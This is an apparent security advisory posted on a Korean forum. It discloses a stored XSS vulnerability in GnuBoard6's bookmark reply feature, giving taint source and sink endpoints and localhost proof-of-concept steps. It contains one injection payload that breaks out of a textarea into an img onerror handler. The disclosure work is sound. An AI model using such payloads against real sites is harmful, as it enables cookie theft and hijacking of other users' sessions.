N

Stored XSS vulnerability

· 2025-07-07 (월) 12:14:45 · 776 · 1
# Gnuboard6 Stored XSS

### Vulnerability:Stored XSS (CWE-79)
### Severity:High
### Summary:

This stored XSS vulnerability was discovered in the latest version of GnuBoard6. When registered users bookmark and reply to any post on the message board, user input is not properly sanitized, and the reply content is not encoded when displayed. This allows attackers to inject arbitrary JavaScript code, targeting all users who can access the post. Attackers can exploit this vulnerability to steal user cookies, launch phishing attacks, and other malicious activities.

### Details:
```
Taint source:
/bbs/scrap_popin_update/qa/{post_id}
```
![image](https://github.com/user-attachments/assets/efacd7c7-7d7f-4983-bbb6-993cd87b07bc)

```
Taint sink:
/board/qa/{post_id}
```
![image](https://github.com/user-attachments/assets/a1c0085e-cf6b-40a6-85d7-22c270db0767)

### POC:
```
1.Register an account and log in
2.Access to http://127.0.0.1:8000/board/qa
```
![image](https://github.com/user-attachments/assets/75fa55fe-c876-405b-acaf-e58792f8e1f6)
```
3.send a post on http://127.0.0.1:8000/board/write/qa, any title and content
```
![image](https://github.com/user-attachments/assets/94a8abe8-fc78-4d4e-95c6-cf7590eb51b5)
```
4.Access to the latest post http://127.0.0.1:8000/board/qa/1,click the "Save" button
```
![image](https://github.com/user-attachments/assets/81b0c9ea-536a-4335-b75a-c5ff4f54ce3a)

```
5.Inject following XSS payload and save it
</textarea><img src=1 onerror=alert(/XSS/)>
```
![image](https://github.com/user-attachments/assets/c2c15685-1915-450f-bdfc-cd03fa61e442)

```
6. XSS payload will be executed when access to the page again:
```
![image](https://github.com/user-attachments/assets/38145a9a-d8be-44f1-9e27-98a5f1935749)
|

댓글 1개

2025-07-08 (화) 12:33:34
댓글을 작성하시려면 로그인이 필요합니다.

좋은 댓글과 좋아요는 제작자에게 큰힘이 됩니다.

+
제목 글쓴이 날짜 조회
25-07-13 조회 893
25-07-07 조회 659
25-07-07 조회 777
mmingijunggra...
25-05-13 조회 650
mmingijunggra...
25-05-13 조회 625
25-01-15 조회 686
sseiblog-nand...
24-07-10 조회 927
24-07-08 조회 1,019
sseiblog-nand...
24-07-04 조회 872
sseiblog-nand...
24-07-03 조회 830
sseiblog-nand...
24-07-02 조회 875
sseiblog-nand...
24-07-02 조회 785
sseiblog-nand...
24-07-02 조회 789
sseiblog-nand...
24-07-02 조회 726
sseiblog-nand...
24-07-02 조회 764
sseiblog-nand...
24-07-02 조회 847
sseiblog-nand...
24-07-01 조회 832
sseiblog-nand...
24-07-01 조회 811
sseiblog-nand...
24-06-28 조회 815
sseiblog-nand...
24-06-28 조회 769